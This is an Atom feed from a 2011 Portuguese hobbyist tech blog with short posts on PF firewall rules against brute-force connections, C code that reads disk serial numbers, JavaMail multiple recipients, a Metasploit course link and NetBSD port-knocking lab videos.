<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-4349724564081206105</id><updated>2011-11-27T21:31:31.115-02:00</updated><category term='linux'/><category term='windows'/><category term='videos'/><category term='comandos'/><category term='cisco'/><category term='segurança'/><category term='tomcat'/><category term='eclipse'/><category term='NetBSD'/><category term='java'/><category term='shell'/><category term='rede'/><title type='text'>Inseto Verde's Blog  - Um lugar para Nerds</title><subtitle type='html'>&lt;b&gt;Curiosidades, dicas e inutilidades ligadas à área de:&lt;br&gt;
Informática &amp;gt; redes/programação/segurança.&lt;/b&gt;</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://alanlacerda.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://alanlacerda.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Alan MeC Lacerda</name><uri>http://www.blogger.com/profile/18073152318925866216</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_kOIPiN3lLNM/SjHjYp9V3XI/AAAAAAAAAAM/FpeaRaixE8c/S220/DSC00012.JPG'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>44</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-4349724564081206105.post-1065324529761143017</id><published>2011-06-28T11:31:00.003-03:00</published><updated>2011-06-28T11:36:00.874-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='comandos'/><category scheme='http://www.blogger.com/atom/ns#' term='rede'/><category scheme='http://www.blogger.com/atom/ns#' term='segurança'/><title type='text'>Se livrando dos ignorantes - DoS/DDoS</title><content type='html'>( texto original de: The Book of PF )&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;First, set up the table by adding the following line to your tables section:&lt;br /&gt;&lt;br /&gt;&lt;b&gt;table &amp;lsaquo;bruteforce&amp;rsaquo; persist&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Then, somewhere fairly early in your rule set, set up the rule to block&amp;nbsp;traffic from the brute forcers, as shown here:&lt;/div&gt;&lt;b&gt;block quick from &amp;lsaquo;bruteforce&amp;rsaquo;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;And finally, add your pass rule like this:&lt;br /&gt;&lt;br /&gt;&lt;b&gt;pass inet proto tcp from any to $localnet port $tcp_services \&lt;/b&gt;&lt;br /&gt;&lt;b&gt;keep state (max-src-conn 100, max-src-conn-rate 15/5, \&lt;/b&gt;&lt;br /&gt;&lt;b&gt;overload &amp;lsaquo;bruteforce&amp;rsaquo; flush global)&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;This is rather similar to what we’ve seen before, isn’t it? In fact, the first&amp;nbsp;part is identical to the rule we constructed earlier. What you should pay close&amp;nbsp;attention to is the part in parentheses, called state-tracking options. These will&amp;nbsp;ease your network load even further.&amp;nbsp;max-src-conn is the number of simultaneous connections you allow from&amp;nbsp;one host. In this example, I’ve set it to 100. However, in your setup you&amp;nbsp;may want a slightly higher or lower value, depending on the traffic patterns&amp;nbsp;on your network.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;max-src-conn-rate is the rate of new connections allowed from any single&amp;nbsp;host, here 15 connections per 5 seconds. Again, you are the one to judge&amp;nbsp;what suits your setup.&amp;nbsp;overload &lt;bruteforce&gt; means that any host that exceeds these limits has its&amp;nbsp;address added to the table &lt;bruteforce&gt;. Our rule set blocks all traffic&amp;nbsp;from addresses in the &amp;lsaquo;bruteforce&amp;rsaquo; table.&lt;/div&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4349724564081206105-1065324529761143017?l=alanlacerda.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://alanlacerda.blogspot.com/feeds/1065324529761143017/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://alanlacerda.blogspot.com/2011/06/se-livrando-dos-ignorantes-dosddos.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default/1065324529761143017'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default/1065324529761143017'/><link rel='alternate' type='text/html' href='http://alanlacerda.blogspot.com/2011/06/se-livrando-dos-ignorantes-dosddos.html' title='Se livrando dos ignorantes - DoS/DDoS'/><author><name>Alan MeC Lacerda</name><uri>http://www.blogger.com/profile/18073152318925866216</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_kOIPiN3lLNM/SjHjYp9V3XI/AAAAAAAAAAM/FpeaRaixE8c/S220/DSC00012.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4349724564081206105.post-1611818235719784782</id><published>2011-05-08T13:46:00.003-03:00</published><updated>2011-05-08T13:46:34.088-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='java'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='segurança'/><title type='text'>Retornando o Número de Série em C - Linux</title><content type='html'>Leiam o post anterior.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;#include stdio.h&lt;/b&gt;&lt;br /&gt;&lt;b&gt;#include fcntl.h&lt;/b&gt;&lt;br /&gt;&lt;b&gt;#include string.h&lt;/b&gt;&lt;br /&gt;&lt;b&gt;#include linux/hdreg.h&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;char* retornaID(char *drive){&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp; struct hd_driveid hd;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp; int ide;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp; ide=open(drive,O_RDONLY);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp; ioctl (ide,HDIO_GET_IDENTITY,&amp;amp;hd);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp; char *did = (char *) malloc(strlen(hd.serial_no) + 1);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp; strncpy(did,hd.serial_no, sizeof(hd.serial_no));&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp; return did;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;int main()&lt;/b&gt;&lt;br /&gt;&lt;b&gt;{&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp; char *drive = "/dev/hda";&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp; printf("ID: %s\n", retornaID(drive));&lt;/b&gt;&lt;br /&gt;&lt;b&gt;}&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;forte abraço,&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4349724564081206105-1611818235719784782?l=alanlacerda.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://alanlacerda.blogspot.com/feeds/1611818235719784782/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://alanlacerda.blogspot.com/2011/05/retornando-o-numero-de-serie-em-c-linux_08.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default/1611818235719784782'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default/1611818235719784782'/><link rel='alternate' type='text/html' href='http://alanlacerda.blogspot.com/2011/05/retornando-o-numero-de-serie-em-c-linux_08.html' title='Retornando o Número de Série em C - Linux'/><author><name>Alan MeC Lacerda</name><uri>http://www.blogger.com/profile/18073152318925866216</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_kOIPiN3lLNM/SjHjYp9V3XI/AAAAAAAAAAM/FpeaRaixE8c/S220/DSC00012.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4349724564081206105.post-8168601439783322053</id><published>2011-05-08T12:44:00.003-03:00</published><updated>2011-05-10T11:54:00.065-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='java'/><category scheme='http://www.blogger.com/atom/ns#' term='windows'/><category scheme='http://www.blogger.com/atom/ns#' term='segurança'/><title type='text'>Retornando o Número de Série em C - Windows</title><content type='html'>Boa,&lt;br /&gt;&lt;br /&gt;Precisei pegar o número de série para uma rotina de segurança no sistema em Java que estou desenvolvendo. Mas, o Java não consegue fazer isso "ainda". A solução é criar um programa externo ao Java em uma linguagem CAPAZ de fazer isso (hehehehe - malvadeza), é aí que entra o&lt;i&gt; master&lt;/i&gt; C.&lt;br /&gt;&lt;br /&gt;Obrigado Assuero, obrigado Google... chegamos à solução:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;#include iostream.h&lt;/b&gt;&lt;br /&gt;&lt;b&gt;#include stdio.h&lt;/b&gt;&lt;br /&gt;&lt;b&gt;#include windows.h&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;DWORD retornaID(char *drive){&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; BOOL fResult;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; char *pszDriveName;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; char szVolName[MAX_PATH];&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; char szFileSysName[80];&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; DWORD dwSerialNumber;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; DWORD dwMaxComponentLen;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; DWORD dwFileSysFlags;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; pszDriveName = drive;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; fResult = GetVolumeInformation(pszDriveName, szVolName, MAX_PATH,&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;amp;dwSerialNumber, &amp;amp;dwMaxComponentLen,&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;amp;dwFileSysFlags, szFileSysName, 80);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; return dwSerialNumber;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;int main (int argc, char **argv)&lt;/b&gt;&lt;br /&gt;&lt;b&gt;{&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; char *drive = "c:\\";&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; printf("ID: %#ld\n", retornaID(drive));&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; system("PAUSE");&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;}&lt;/b&gt;&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Forte abraço,&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4349724564081206105-8168601439783322053?l=alanlacerda.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://alanlacerda.blogspot.com/feeds/8168601439783322053/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://alanlacerda.blogspot.com/2011/05/retornando-o-numero-de-serie-em-c.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default/8168601439783322053'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default/8168601439783322053'/><link rel='alternate' type='text/html' href='http://alanlacerda.blogspot.com/2011/05/retornando-o-numero-de-serie-em-c.html' title='Retornando o Número de Série em C - Windows'/><author><name>Alan MeC Lacerda</name><uri>http://www.blogger.com/profile/18073152318925866216</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_kOIPiN3lLNM/SjHjYp9V3XI/AAAAAAAAAAM/FpeaRaixE8c/S220/DSC00012.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4349724564081206105.post-5812791551865059711</id><published>2011-04-26T02:22:00.005-03:00</published><updated>2011-04-26T02:38:02.392-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='java'/><title type='text'>JavaMail vários destinatários</title><content type='html'>&lt;div style="text-align: justify;"&gt;Boa madrugada,&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Estou meio afastado do blog (mais uma vez) por motivos de trabalho. Estou muito envolvido no desenvolvimento de um sistema que está me roubando todo o tempo. Mas dei uma "&lt;i&gt;passadinha&lt;/i&gt;" rápida aqui para mostrar a solução pra um problema que tive hoje: &lt;i&gt;usar o javamail para enviar emails para mais de um destinatário&lt;/i&gt;.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Nem é tão difícil assim, mas acho que a falta de exemplos na Internet faz com que pareça ser.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Vamos lá então:&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Quando vamos criar a mensagem a ser enviada, precisamos passar as seguintes informações básicas:&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;ul&gt;&lt;li style="text-align: justify;"&gt;Assunto&lt;/li&gt;&lt;li style="text-align: justify;"&gt;Conteúdo da mensagem&lt;/li&gt;&lt;li style="text-align: justify;"&gt;Remetente&lt;/li&gt;&lt;li style="text-align: justify;"&gt;Destinatário(s)&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div style="text-align: justify;"&gt;É algo mais ou menos assim:&lt;/div&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;MimeMessage message = new MimeMessage(mailSession);&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;message.setSubject(email.getAssunto());&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;message.setContent(email.getMensagem(), "text/plain");&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;message.setFrom(new InternetAddress(email.getRemetente()));&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="color: #274e13; font-family: 'Courier New', Courier, monospace;"&gt;message.addRecipients(Message.RecipientType.TO, "DESTINATÁRIOS"));&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Bem, nesta ultima linha é onde definimos o(s) destinatário(s). E é esta última linha que este post tem como foco.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;A função &lt;i&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;addRecipients&lt;/span&gt;&amp;nbsp;&lt;/i&gt;tem dois construtores:&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;ol&gt;&lt;li style="text-align: justify;"&gt;Recebe o tipo de endereço que está sendo adicionado e um Array do tipo Address&lt;/li&gt;&lt;li style="text-align: justify;"&gt;Recebe o tipo de endereço que está sendo adicionado e uma String com o(s) endereço(s)&lt;/li&gt;&lt;/ol&gt;&lt;div&gt;&lt;div style="text-align: justify;"&gt;Ou seja, ou você passa pra a função&amp;nbsp;&lt;i&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;addRecipients&lt;/span&gt;&amp;nbsp; &lt;/i&gt;um Array do tipo Address (contendo a lista de endereços), ou uma String (também contendo a lista de endereços). Eu particularmente achei muito mais fácil a segunda opção.&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="background-color: #b6d7a8;"&gt;OBS.: O tipo do endereço refere-se a se é um "destinatário primário", um destinatário do tipo "com cópia" ou "com cópia oculta".&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div style="text-align: justify;"&gt;Para passar uma lista de emails por meio de uma String, eu &lt;b&gt;só preciso separar os emails por vírgula&lt;/b&gt;. A minha String deve ser algo parecido com o seguinte:&lt;/div&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;String lista="em1@technaweb.com.br, em2@technaweb.com.br";&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div style="text-align: justify;"&gt;E a minha última linha do exemplo citado acima ficaria assim:&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;message.addRecipients(Message.RecipientType.TO, lista);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div style="text-align: justify;"&gt;Assim, quando a função para enviar o email for chamado (função sendMessage da classe Transport), a lista de emails será verificada e um email será enviado para cada um dos endereços na String lista.&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4349724564081206105-5812791551865059711?l=alanlacerda.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://alanlacerda.blogspot.com/feeds/5812791551865059711/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://alanlacerda.blogspot.com/2011/04/javamail-varios-destinatarios.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default/5812791551865059711'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default/5812791551865059711'/><link rel='alternate' type='text/html' href='http://alanlacerda.blogspot.com/2011/04/javamail-varios-destinatarios.html' title='JavaMail vários destinatários'/><author><name>Alan MeC Lacerda</name><uri>http://www.blogger.com/profile/18073152318925866216</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_kOIPiN3lLNM/SjHjYp9V3XI/AAAAAAAAAAM/FpeaRaixE8c/S220/DSC00012.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4349724564081206105.post-6551801046975965107</id><published>2011-04-09T21:49:00.000-03:00</published><updated>2011-04-09T21:49:03.703-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='comandos'/><category scheme='http://www.blogger.com/atom/ns#' term='shell'/><category scheme='http://www.blogger.com/atom/ns#' term='segurança'/><title type='text'>Curso Metasploit</title><content type='html'>Curso gratuito do metaspoloit:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.offensive-security.com/metasploit-unleashed/Metasploit_Unleashed_Information_Security_Training"&gt;http://www.offensive-security.com/metasploit-unleashed/Metasploit_Unleashed_Information_Security_Training&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Forte abraço,&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4349724564081206105-6551801046975965107?l=alanlacerda.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://alanlacerda.blogspot.com/feeds/6551801046975965107/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://alanlacerda.blogspot.com/2011/04/curso-metasploit.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default/6551801046975965107'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default/6551801046975965107'/><link rel='alternate' type='text/html' href='http://alanlacerda.blogspot.com/2011/04/curso-metasploit.html' title='Curso Metasploit'/><author><name>Alan MeC Lacerda</name><uri>http://www.blogger.com/profile/18073152318925866216</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_kOIPiN3lLNM/SjHjYp9V3XI/AAAAAAAAAAM/FpeaRaixE8c/S220/DSC00012.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4349724564081206105.post-7497097858026744795</id><published>2011-04-09T21:29:00.002-03:00</published><updated>2011-04-09T21:29:25.885-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='NetBSD'/><title type='text'>Wallpaper</title><content type='html'>Se você gostou do plano de fundo do blog, é possível ter ele como papel de parede em seu computador:&lt;br /&gt;&lt;br /&gt;http://www.vivaolinux.com.br/wallpapers/download.php?codigo=10361&amp;amp;file=JessicaBSD.jpg&lt;br /&gt;&lt;br /&gt;Forte abraço,&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4349724564081206105-7497097858026744795?l=alanlacerda.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://alanlacerda.blogspot.com/feeds/7497097858026744795/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://alanlacerda.blogspot.com/2011/04/wallpaper.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default/7497097858026744795'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default/7497097858026744795'/><link rel='alternate' type='text/html' href='http://alanlacerda.blogspot.com/2011/04/wallpaper.html' title='Wallpaper'/><author><name>Alan MeC Lacerda</name><uri>http://www.blogger.com/profile/18073152318925866216</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_kOIPiN3lLNM/SjHjYp9V3XI/AAAAAAAAAAM/FpeaRaixE8c/S220/DSC00012.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4349724564081206105.post-7725995706707903215</id><published>2011-03-14T11:23:00.003-03:00</published><updated>2011-03-16T19:31:48.285-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='NetBSD'/><category scheme='http://www.blogger.com/atom/ns#' term='rede'/><category scheme='http://www.blogger.com/atom/ns#' term='shell'/><category scheme='http://www.blogger.com/atom/ns#' term='segurança'/><title type='text'>Laboratório - Port knocking no NetBSD</title><content type='html'>Fala aê galerinha boa,&lt;br /&gt;&lt;br /&gt;Estou em pleno trânsito aqui em Aracajú -SE, mas tenho prazer de compartilhar esses vídeos com vocês. Aí está o laboratório referente ao vídeo anterior (explicando o PK).&lt;br /&gt;&lt;br /&gt;PARTE 1:&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/sY2O4NHaA98?hl=pt&amp;amp;fs=1"&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;embed src="http://www.youtube.com/v/sY2O4NHaA98?hl=pt&amp;amp;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;PARTE 2:&lt;/div&gt;&lt;br /&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/zx1R9wc8MEQ?hl=pt&amp;amp;fs=1"&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;embed src="http://www.youtube.com/v/zx1R9wc8MEQ?hl=pt&amp;amp;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;Forte abraço,&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4349724564081206105-7725995706707903215?l=alanlacerda.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://alanlacerda.blogspot.com/feeds/7725995706707903215/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://alanlacerda.blogspot.com/2011/03/laboratorio-port-knocking-no-netbsd.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default/7725995706707903215'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default/7725995706707903215'/><link rel='alternate' type='text/html' href='http://alanlacerda.blogspot.com/2011/03/laboratorio-port-knocking-no-netbsd.html' title='Laboratório - Port knocking no NetBSD'/><author><name>Alan MeC Lacerda</name><uri>http://www.blogger.com/profile/18073152318925866216</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_kOIPiN3lLNM/SjHjYp9V3XI/AAAAAAAAAAM/FpeaRaixE8c/S220/DSC00012.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4349724564081206105.post-6997954557048362455</id><published>2011-03-09T20:08:00.003-03:00</published><updated>2011-03-09T20:21:08.749-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='comandos'/><category scheme='http://www.blogger.com/atom/ns#' term='NetBSD'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='rede'/><category scheme='http://www.blogger.com/atom/ns#' 